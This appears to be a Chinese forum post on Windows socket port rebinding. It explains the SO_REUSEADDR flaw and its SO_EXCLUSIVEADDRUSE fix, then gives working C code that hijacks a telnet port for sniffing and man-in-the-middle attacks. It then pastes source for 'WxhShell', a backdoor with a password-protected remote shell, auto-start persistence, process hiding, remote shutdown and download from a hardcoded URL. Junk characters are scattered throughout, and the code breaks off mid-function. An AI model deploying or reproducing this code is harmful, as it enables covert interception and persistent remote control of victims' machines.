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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Hq"i0X m  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DY'D]*'7$  
#g\O*oYaw  
  saddr.sin_family = AF_INET; pJ"Wg@+  
^tIs57!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5Q,#Co  
w_q{C>- cR  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Wd?(B4{  
?kX$Y{M}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 q>X#Aaib  
;S+*s'e  
  这意味着什么?意味着可以进行如下的攻击: +rfw)c'  
a,x-akZWf  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 F]@vmzr  
:w:hqe|_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) w4<1*u@${  
j8WnXp_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \I1+J9Gl  
(e S4$$g  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3|8\,fO?  
Z\D!'FX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 oOUL<ihe?  
,1EyT>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u;H SX  
CEq0ZL-W  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 CWdA8)n.  
9^QiFgJy  
  #include iyAeR!`  
  #include DXl3  
  #include j[k&O)A{C  
  #include    A 'rfoA6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Z0s}65BR  
  int main() (4o_\&  
  { wP8Wx~Q=  
  WORD wVersionRequested; Pqli3(  
  DWORD ret; URdCV{@42  
  WSADATA wsaData; Lqq RuKi  
  BOOL val; cm@q{(r  
  SOCKADDR_IN saddr; O@6iG  
  SOCKADDR_IN scaddr; ET;YAa*  
  int err; |RS9N_eRt  
  SOCKET s; +KgLe>-}  
  SOCKET sc; FY+0r67]  
  int caddsize; @{3$H^  
  HANDLE mt; !f[LFQD  
  DWORD tid;   =v]\{ .  
  wVersionRequested = MAKEWORD( 2, 2 ); eG* <=.E  
  err = WSAStartup( wVersionRequested, &wsaData ); Y|FF ;[  
  if ( err != 0 ) { _>+!&_h  
  printf("error!WSAStartup failed!\n"); q@8Jc[\d  
  return -1; =~6A c}$  
  } {fFZ%$  
  saddr.sin_family = AF_INET; s(jixAf  
   S#_g/3w  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;NQ9A &$)  
s.`:9nj  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?-%Q[W  
  saddr.sin_port = htons(23); L|pMq!@J  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8Y?zxmwn]  
  { N^z4I,GV(  
  printf("error!socket failed!\n"); E j`  
  return -1; o|O730"2F  
  } _b|mSo,{Y  
  val = TRUE; j>Wb$p6S  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |fqYMhA U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2%P{fJbwd  
  { &u&+:m  
  printf("error!setsockopt failed!\n"); X)^eaw]Q0  
  return -1; wd*8w$\  
  } 9"hH2jc  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; + 2 v6fan  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;]!QLO.bs^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 MIma:N_c  
@i2"+_}*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) uqy&P S  
  { _#32hAI  
  ret=GetLastError(); 2q]y(kW+  
  printf("error!bind failed!\n"); )tYu3*'  
  return -1; " E+V >V+  
  } Cge@A'2  
  listen(s,2); GPV=(}z  
  while(1) &iKy  
  { =2v/f_  
  caddsize = sizeof(scaddr); z7TMg^9 #  
  //接受连接请求 Io_bS+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X.}i9a 6  
  if(sc!=INVALID_SOCKET) BwOIdz%]OY  
  { d8D028d  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )1?#q[x  
  if(mt==NULL) cG!\P:re  
  { R|&jvG=|  
  printf("Thread Creat Failed!\n"); Nini8@d  
  break; rSu+zS7`X  
  } ZtHTl\z  
  } iW u  
  CloseHandle(mt); >s dT=6v  
  } K(jo[S  
  closesocket(s); k7,   
  WSACleanup(); PY81MTv0;  
  return 0; (|O9L s7N  
  }   k-it#'ll{x  
  DWORD WINAPI ClientThread(LPVOID lpParam) \jA#RF.W  
  { RW"QUT  
  SOCKET ss = (SOCKET)lpParam; 7slpj8  
  SOCKET sc; Cp"a,%b6u  
  unsigned char buf[4096]; P=3mLz-  
  SOCKADDR_IN saddr;  T.d1?  
  long num; ,f*Q3 S/I  
  DWORD val; ZZ'5BfI"I%  
  DWORD ret; lo!^h]iE!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;Aqj$ x  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >lPWji'4;  
  saddr.sin_family = AF_INET; (8"advc6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); s#Ayl]8r  
  saddr.sin_port = htons(23); p"@[2hK  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f4'WT  
  { &|9K~#LVS  
  printf("error!socket failed!\n"); a gk w)#  
  return -1; 3uXRS,C  
  } Nyx)&T&I  
  val = 100; h~EGRg  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '[WVP=M<XV  
  { !d.bCE~  
  ret = GetLastError(); ohU}ST:9  
  return -1; '`s+e#rs4{  
  } r>ziQq8C&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X!xmto  
  { gN@|lHbU  
  ret = GetLastError(); 52,[dP,g  
  return -1; Am ~P$dN  
  } X+2uM+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gwGw  
  { WuuF &0?8C  
  printf("error!socket connect failed!\n"); B6kc9XG  
  closesocket(sc); }INj~d<:  
  closesocket(ss); TJ_Wze-lQ  
  return -1; ,A%p9  
  } OLS/3c z  
  while(1) )L/0X40<.  
  { ;kD UQw  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \>$3'i=mQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /hN;\Z[@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 v<3KxP'a  
  num = recv(ss,buf,4096,0); =h\unQ1T  
  if(num>0) V O\g"Yc  
  send(sc,buf,num,0); sOJXloeO[6  
  else if(num==0) Fy 1- >~  
  break; ;rRV=$y  
  num = recv(sc,buf,4096,0); 38mC+%iC  
  if(num>0) b#nI#!p'  
  send(ss,buf,num,0); jd`h)4  
  else if(num==0) S=<OS2W7+r  
  break; j:2TicHDC  
  } s_;o1 K0  
  closesocket(ss); j-cp  
  closesocket(sc); 5,R4:y ?cK  
  return 0 ; ?}e^-//*i  
  } [XE\2Qa8e  
hmkm^2  
>[2;  
========================================================== =PF2p'.o  
h! Bg} B~  
下边附上一个代码,,WXhSHELL [ $5u:*  
jp;]dyU  
========================================================== BCfmnE4%  
IeZ9 "o h  
#include "stdafx.h" k|,Y_h0Y  
R<B5<!+  
#include <stdio.h> dVs=*GEl9  
#include <string.h> &,P; 7R  
#include <windows.h> K491QXG  
#include <winsock2.h> c@2a)S8Y]  
#include <winsvc.h> 7YxVtN  
#include <urlmon.h> to'CuPkT  
_7z]zy@PC5  
#pragma comment (lib, "Ws2_32.lib") [Tl66Eyl  
#pragma comment (lib, "urlmon.lib") w4fQ~rcUIc  
?[uHRBR'  
#define MAX_USER   100 // 最大客户端连接数 r+d+gO.  
#define BUF_SOCK   200 // sock buffer g >@a  
#define KEY_BUFF   255 // 输入 buffer eBH:_Ls_-^  
dF[|9%)  
#define REBOOT     0   // 重启 2!6E~<~HC  
#define SHUTDOWN   1   // 关机 d>?C?F  
* RyU*au  
#define DEF_PORT   5000 // 监听端口 +_L]d6  
iZLy#5(St  
#define REG_LEN     16   // 注册表键长度 A=0{}B#  
#define SVC_LEN     80   // NT服务名长度 Y7zs)W8xTT  
Q6HghG  
// 从dll定义API A%2B3@1'q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =w* 8   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =;4K5l{c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1c{m rsB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5E]iv^q%  
p+8o'dl8=  
// wxhshell配置信息 x`c 7*q%  
struct WSCFG { 1tq ^W'  
  int ws_port;         // 监听端口 eR,/} g\  
  char ws_passstr[REG_LEN]; // 口令 dl"=ZI '^  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0hhxTOp  
  char ws_regname[REG_LEN]; // 注册表键名 Zf1 uK(6X  
  char ws_svcname[REG_LEN]; // 服务名 wAw1K2d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .'&pw }F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o5j6(`#;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I(Qz%/Ox  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c9G%;U)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (5@H<c^6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X 0iy  
,oUzaEX  
}; Z.&/,UU:4  
]tXIe?>9  
// default Wxhshell configuration h (q,T$7 W  
struct WSCFG wscfg={DEF_PORT, +SF+$^T  
    "xuhuanlingzhe", 7~FHn'xt  
    1, 4#}aLP  
    "Wxhshell", {:3\Ms#  
    "Wxhshell", HAL\j 5i  
            "WxhShell Service", mI5J] hk  
    "Wrsky Windows CmdShell Service", *RxJ8.G  
    "Please Input Your Password: ", 1a/C(4 _k  
  1, 2Mk;r*FT  
  "http://www.wrsky.com/wxhshell.exe", }LCm_av  
  "Wxhshell.exe" <T?-A}0uO  
    }; 8^^ 1h  
z\oTuW*B  
// 消息定义模块 =}%#j0a4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SzIzQR93&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :Fm*WqZu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; > SLQW  
char *msg_ws_ext="\n\rExit."; P))BS  
char *msg_ws_end="\n\rQuit."; p5$}h,7  
char *msg_ws_boot="\n\rReboot..."; QRvyaV  
char *msg_ws_poff="\n\rShutdown..."; &9^4- 5]  
char *msg_ws_down="\n\rSave to "; ;-8.~Sm  
U+*l!"O,  
char *msg_ws_err="\n\rErr!"; VsJ+-IHm  
char *msg_ws_ok="\n\rOK!"; 1Xo0(*O  
z]r'8Jc  
char ExeFile[MAX_PATH]; v@|<.  
int nUser = 0; ~h_ _Y>  
HANDLE handles[MAX_USER]; &BLCP d  
int OsIsNt; J}&Us p  
y~\ujp_5w  
SERVICE_STATUS       serviceStatus; qF4tjza;k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "d:rPJT)(@  
vRH^en  
// 函数声明 'KIT^k0"Ih  
int Install(void); FJDC^@Ne  
int Uninstall(void); J{^md0l  
int DownloadFile(char *sURL, SOCKET wsh);  :`N ZD  
int Boot(int flag); iphC\*F  
void HideProc(void); ij!d-eM/b  
int GetOsVer(void); '=vZAV`  
int Wxhshell(SOCKET wsl); kBhjqI*  
void TalkWithClient(void *cs); u{_,S3Aa  
int CmdShell(SOCKET sock); {daX?N|V  
int StartFromService(void); #%Bt!#  
int StartWxhshell(LPSTR lpCmdLine); L~- /'+  
pDZewb&cA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >STthPO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7bk77`qWr  
3!b $R?kZ  
// 数据结构和表定义 g%l ,a3"  
SERVICE_TABLE_ENTRY DispatchTable[] = 2L1y4nnbwo  
{ CyR`&u  
{wscfg.ws_svcname, NTServiceMain}, 6w7;  
{NULL, NULL} S?d<P  
}; /^AH/,p  
B;ek a[xU  
// 自我安装 ]CF-#q}'  
int Install(void) ppRmC,0f^  
{ : c~SH/qS  
  char svExeFile[MAX_PATH]; TL2E|@k1]  
  HKEY key; TG}owG]]  
  strcpy(svExeFile,ExeFile); y62f{ks_/  
sJ|pR=g)!  
// 如果是win9x系统,修改注册表设为自启动 n!4\w>h  
if(!OsIsNt) { yf9"Rc~+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z )'9[t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h40;Q<D  
  RegCloseKey(key); ##6\~!P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,)Q-o2(C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P !i_?M  
  RegCloseKey(key); ;Y\LsmZ;F  
  return 0; >^~^#MT  
    } @w8} ]S  
  } VIz(@  
} $U*eq [  
else { kScZ P8yw  
KE3`5Y!  
// 如果是NT以上系统,安装为系统服务 yuZLsH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u-t=M]  
if (schSCManager!=0) -}%J3j|R:  
{ J)YlG*  
  SC_HANDLE schService = CreateService OW@%H;b  
  ( Jz` jN~  
  schSCManager, dhtH&:J< ;  
  wscfg.ws_svcname, Q4m> 3I  
  wscfg.ws_svcdisp, 4j=3'Z|  
  SERVICE_ALL_ACCESS, UE'=9{o`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?9()ya-TE  
  SERVICE_AUTO_START, UON=7}=$&  
  SERVICE_ERROR_NORMAL, m "9f(  
  svExeFile, `f;w  
  NULL, $_"u2"p  
  NULL, Mwnr4$]  
  NULL, 0~fjY^(  
  NULL, qUd7O](b=?  
  NULL AB'+6QU9k  
  ); d$3rcH1  
  if (schService!=0) h p|v?3(  
  { &`I(QY  
  CloseServiceHandle(schService); T&_&l;syA  
  CloseServiceHandle(schSCManager); #gQn3.PX+y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3P6O]x<-?  
  strcat(svExeFile,wscfg.ws_svcname); %3a-@!|1<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >Bb X:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gS'{JZu2  
  RegCloseKey(key); 9m M3Ve*  
  return 0; N1ipK9a  
    } }_'5Vb_  
  } ]?4;Lw  
  CloseServiceHandle(schSCManager); %*gf_GeM  
} J =^IS\m  
} =:&xdphZ+  
`MVqd16Y  
return 1; G x[ZHpy;  
} L(TM& ps\-  
P~trxp=k  
// 自我卸载 rw'+2\  
int Uninstall(void) 0SL{J*S4[#  
{ v8ap"9b  
  HKEY key; S[F06.(1  
-'$ob~*  
if(!OsIsNt) { +]%S}<R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T'5{p  
  RegDeleteValue(key,wscfg.ws_regname); |Mq+QDTTw~  
  RegCloseKey(key); b)I-do+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5*$yY-A  
  RegDeleteValue(key,wscfg.ws_regname); O=2|'L'h!  
  RegCloseKey(key); k4ti#3W5eG  
  return 0; Bz ;r<Kn  
  } n4k q=Z%  
} "ioO_  
} wmr?ANk  
else { N_c44[z 1  
M1kA-Xr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q~ U\f$N  
if (schSCManager!=0) j?2~6W/[  
{ UGPDwgq\v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Vu5?;|^:  
  if (schService!=0) :oIBJ u%/  
  { E@SFK=`  
  if(DeleteService(schService)!=0) { =K`.$R  
  CloseServiceHandle(schService); \1<'XVS  
  CloseServiceHandle(schSCManager); L0wT:x*  
  return 0; L0g+RohW  
  } BmX'%5ho  
  CloseServiceHandle(schService); a#j,0FKv  
  } IIR+qJ__|  
  CloseServiceHandle(schSCManager); +Y 7M7  
} KYpS4&Xh  
} wm`<+K  
t*(bF[?  
return 1; x4^nT=?6_  
} D;Qx9^.  
D^6*Cwb  
// 从指定url下载文件 1b9S";ct0  
int DownloadFile(char *sURL, SOCKET wsh) ^+m`mcsE  
{ LE8<JMB  
  HRESULT hr; *kLFs|U  
char seps[]= "/"; /L^g. ~  
char *token; +Ryj82;59z  
char *file; G WIsT\J  
char myURL[MAX_PATH]; ;b{#$#`=  
char myFILE[MAX_PATH]; ]pR?/3  
arL>{mj  
strcpy(myURL,sURL); e S8(HI6{^  
  token=strtok(myURL,seps); 59Pc:Gg;  
  while(token!=NULL) R0-0  
  { bB_LL  
    file=token; Jp=qPG|  
  token=strtok(NULL,seps); ?J:w,,4m  
  } RCR= W6  
"h+Z[h6T  
GetCurrentDirectory(MAX_PATH,myFILE); &O' W+4FAc  
strcat(myFILE, "\\"); s/"bH3Ob9v  
strcat(myFILE, file); Uc tlE>X`  
  send(wsh,myFILE,strlen(myFILE),0); D^[l~K  
send(wsh,"...",3,0); z0}j7ns]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <Q|\mUS6  
  if(hr==S_OK) wp?:@XM  
return 0; kd'b_D[$H  
else uFWA] ":is  
return 1; s%D%c;.|  
# ?2*I2_  
} ]F y' M  
(e7!p=D  
// 系统电源模块 ;73S;IPR  
int Boot(int flag) 5T;LWS  
{ ahl|N`  
  HANDLE hToken; Jh\KVmfXN  
  TOKEN_PRIVILEGES tkp; &nmBsl3Q.  
c-$rB_t+  
  if(OsIsNt) { \}b2 oiY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *?m)VvR>|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X/4CXtX^  
    tkp.PrivilegeCount = 1; {>ba7-Cy+y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TUp\,T^2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UdO8KD#r3  
if(flag==REBOOT) { E22o-nI?1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e@h{Ns.1-  
  return 0; Bq8#'K2i,  
} xG sOnY;  
else { ~}_^$l8#-Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "^4*,41U  
  return 0; #z(:n5$F  
} %],BgLhS.  
  } puOtF YZ\  
  else { rp@:i _]  
if(flag==REBOOT) { |nQfgl=V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~-'2jb*8  
  return 0; Dge#e  
} >6C\T@{lJ  
else { 5=TgOS]R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r8m}B#W7  
  return 0; )g:5}+  
} mV^w|x  
} M XG>|  
s-CAo~,  
return 1; iWt%Boyi  
} [(n5-#1S  
Q,NnB{R  
// win9x进程隐藏模块 6(E4l5 %  
void HideProc(void) Z 8w\[AF{$  
{ K GgtEh|  
n5QO'Jr%[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z|qI[uiO  
  if ( hKernel != NULL ) V>Jr4z  
  { li*S^uSF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N]W*ei  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Nn_fhc>  
    FreeLibrary(hKernel); WDw<kX6p  
  } B!&5*f}*  
1| sem(t  
return; n{QyqI  
} 08ZvRy(Je<  
V[.{cY ?6  
// 获取操作系统版本 SWdmej[  
int GetOsVer(void) t=7Gfv  
{ UuIjtqW  
  OSVERSIONINFO winfo; .<t{saToU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )>ff"| X  
  GetVersionEx(&winfo); ?i<l7   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <J^5l0)q  
  return 1; \6 \bD<  
  else L\4rvZa  
  return 0; 8O^x~[sQ  
} f,O10`4s  
*9n[ #2sM<  
// 客户端句柄模块 EP38Ho=[  
int Wxhshell(SOCKET wsl)  m}yu4  
{ QbdXt%gZe  
  SOCKET wsh; dg|+?M^9`  
  struct sockaddr_in client; g+o$&'\  
  DWORD myID; x;[)#>.'  
:3M ,]W]  
  while(nUser<MAX_USER) UA.Tp[u  
{ s~,!E  
  int nSize=sizeof(client); s $(%]~P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yD<#Q\,  
  if(wsh==INVALID_SOCKET) return 1; S[L@8z.Sj  
ytj});,>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qBk[Afjgz  
if(handles[nUser]==0) l i<9nMZ<  
  closesocket(wsh); 0@_8JB ?E  
else $l ,U)  
  nUser++; GIlaJ!/  
  } z"6o|]9I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z_(l]Ern}  
HP*)^`6X  
  return 0; w (HVC  
} 54z`KX 73  
Y5 E0n(Z  
// 关闭 socket -(57C*#ap  
void CloseIt(SOCKET wsh) g;Fd m5Q  
{ /,:cbpHsu  
closesocket(wsh); /%m?D o  
nUser--; H'S~GP4D  
ExitThread(0); m& AbH&;  
} Cnpl0rV~5  
{ZUk!o>m@  
// 客户端请求句柄 -F`gRAr-  
void TalkWithClient(void *cs) . x$V~t  
{ !wAnsK  
R.|h<bur  
  SOCKET wsh=(SOCKET)cs; 2\{/|\  
  char pwd[SVC_LEN]; 9{u/|,rq1  
  char cmd[KEY_BUFF]; QY+{ OCB  
char chr[1]; G$ zY&  
int i,j; 9@t&jznt<  
8+!G /p  
  while (nUser < MAX_USER) { bHTf{=  
]>)}xfL &,  
if(wscfg.ws_passstr) { u9;3Xn8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e|A=sCN-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %w_MRC  
  //ZeroMemory(pwd,KEY_BUFF); CV |Ae [  
      i=0; ~a=]w#-KD  
  while(i<SVC_LEN) { AYNz {9  
<!dZ=9^^ 1  
  // 设置超时 Tx ?s?DwC  
  fd_set FdRead; 1mgw0QO  
  struct timeval TimeOut; ^/2O_C  
  FD_ZERO(&FdRead); [GyPwb-  
  FD_SET(wsh,&FdRead); $I`,nN  
  TimeOut.tv_sec=8; (6[<+j&.  
  TimeOut.tv_usec=0; s,-<P1}/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P3bRv^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CEk [&39"  
Iv7BIK^0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  V13^SVM  
  pwd=chr[0]; ~i-n_7+  
  if(chr[0]==0xd || chr[0]==0xa) { 0Wd5s{S  
  pwd=0; \sGJs8#v][  
  break; "QfF]/:  
  } 2v?#r"d  
  i++; >Dv=lgPF  
    } H{P*d=9v  
Xj?LU7  
  // 如果是非法用户,关闭 socket d}E6d||A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;d7Qw~v1s  
} L%7WHtU*#  
R "W=V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,DKW_F|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B%Oi1bO  
Uwiy@ T Z  
while(1) { I-s$U T[p  
e,vgD kI;  
  ZeroMemory(cmd,KEY_BUFF); <O9WCl  
cL %eP.  
      // 自动支持客户端 telnet标准    ">|L<  
  j=0; @zR_[s  
  while(j<KEY_BUFF) { };(2 na  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o) eW5s,6  
  cmd[j]=chr[0]; .Xta;Py|J  
  if(chr[0]==0xa || chr[0]==0xd) { cCtd\/ \  
  cmd[j]=0;  qzD  
  break; IL8&MA%  
  } w4y ???90)  
  j++; 4>=Y@z  
    } '@^<c#h]=  
aLevml2:T  
  // 下载文件 j~2t^Qz  
  if(strstr(cmd,"http://")) { -J!k|GK#MX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .R+n}>+K  
  if(DownloadFile(cmd,wsh)) USf;}F:-C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KG5B6Om5'  
  else ng2yZ @$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %'F[(VB   
  } Se/]J<]  
  else { !Je!;mEvI  
M>Ws}Y  
    switch(cmd[0]) { xs  >Y  
  h" YA>_1  
  // 帮助 h 7\EN  
  case '?': { ELV$!f|u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +]Bx4r?p  
    break; QZ-6aq\sgp  
  } Rm.9`<Y  
  // 安装 ilj9&.isB  
  case 'i': { !]f:dWSLB  
    if(Install()) kZ_5R#xK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~o ;*{ Q  
    else YF");itH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eR1]<Z$W\  
    break; =uR[Jewa  
    } $/i;UUd  
  // 卸载 doe u`  
  case 'r': { ( (mNB]sy  
    if(Uninstall()) [VB\ T|$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6v -2(Y  
    else `_e1LEH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  - zEQ/6  
    break; W$Z""  
    } ?6^KY+ 5`C  
  // 显示 wxhshell 所在路径 CI?M2\<g  
  case 'p': { r+l3J>:K  
    char svExeFile[MAX_PATH]; Qgv-QcI{  
    strcpy(svExeFile,"\n\r"); l3/?,xn  
      strcat(svExeFile,ExeFile); tO QY./I  
        send(wsh,svExeFile,strlen(svExeFile),0); *}i.,4+y   
    break; Q_R&+@ju  
    } r`'n3#O*  
  // 重启 \\Huk*Jn{  
  case 'b': { mm<rdo(`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,}#l0 BY  
    if(Boot(REBOOT)) B1gBvss  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RIl+QA  
    else { A0Hsd  
    closesocket(wsh); C}GOwvAL>  
    ExitThread(0); )![? JXf  
    } ('p~h-9Vi  
    break; ,NaNih1  
    }  bR5+({yH  
  // 关机 D7x"P-ie  
  case 'd': { M>g\Y  
